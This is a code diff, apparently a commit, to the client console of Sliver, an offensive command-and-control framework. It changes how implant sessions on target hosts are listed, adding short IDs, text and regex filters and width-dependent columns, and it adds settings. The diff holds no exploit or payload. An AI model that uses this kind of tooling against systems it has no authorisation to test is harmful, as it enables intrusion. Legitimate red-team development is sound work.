con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -63,12 +66,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.IsDead {
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
}
|
||||
}
|
||||
return
|
||||
@@ -79,7 +82,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if activeSession != nil && session.ID == activeSession.ID {
|
||||
con.ActiveTarget.Background()
|
||||
}
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
@@ -90,17 +93,28 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.GetSession(interact)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, ShortSessionID(session.ID))
|
||||
} else {
|
||||
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
|
||||
}
|
||||
} else {
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
filter := ctx.Flags.String("filter")
|
||||
var filterRegex *regexp.Regexp
|
||||
if ctx.Flags.String("filter-re") != "" {
|
||||
var err error
|
||||
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
if 0 < len(sessionsMap) {
|
||||
PrintSessions(sessionsMap, con)
|
||||
PrintSessions(sessionsMap, filter, filterRegex, con)
|
||||
} else {
|
||||
con.PrintInfof("No sessions 🙁\n")
|
||||
}
|
||||
@@ -108,19 +122,41 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// PrintSessions - Print the current sessions
|
||||
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Health",
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Message",
|
||||
"Health",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Health",
|
||||
})
|
||||
}
|
||||
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, session := range sessions {
|
||||
@@ -138,21 +174,62 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
if session.Burned {
|
||||
burned = "🔥"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, session.ID),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
|
||||
|
||||
var rowEntries []string
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
burned + SessionHealth,
|
||||
}
|
||||
} else {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
burned + SessionHealth,
|
||||
}
|
||||
}
|
||||
// Build the row struct
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
// Apply filters if any
|
||||
if filter == "" && filterRegex == nil {
|
||||
tw.AppendRow(row)
|
||||
} else {
|
||||
for _, rowEntry := range rowEntries {
|
||||
if filter != "" {
|
||||
if strings.Contains(rowEntry, filter) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filterRegex != nil {
|
||||
if filterRegex.MatchString(rowEntry) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// ShortSessionID - Shorten the session ID
|
||||
func ShortSessionID(id string) string {
|
||||
return strings.Split(id, "-")[0]
|
||||
}
|
||||
@@ -19,6 +19,8 @@ package settings
|
||||
*/
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -43,9 +45,56 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
|
||||
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
|
||||
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
|
||||
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
|
||||
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
|
||||
tw.AppendRow(table.Row{"Vim mode", con.Settings.VimMode, "Navigation mode, vim style"})
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// SettingsAlwaysOverflow - Toggle always overflow
|
||||
func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if con.Settings == nil {
|
||||
con.Settings, err = assets.LoadSettings()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
|
||||
con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
|
||||
}
|
||||
|
||||
// SettingsSmallTerm - Modify small terminal width value
|
||||
func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if con.Settings == nil {
|
||||
con.Settings, err = assets.LoadSettings()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
result := ""
|
||||
prompt := &survey.Input{Message: "Set small width:"}
|
||||
err = survey.AskOne(prompt, &result)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
newWidth, err := strconv.Atoi(result)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if newWidth < 1 {
|
||||
con.PrintErrorf("Invalid width (too small)\n")
|
||||
return
|
||||
}
|
||||
con.Settings.SmallTermWidth = newWidth
|
||||
con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
|
||||
}
|
||||
|
||||
// SettingsTablesCmd - The client settings command
|
||||
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
|
||||
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Reference in new issue
Block a user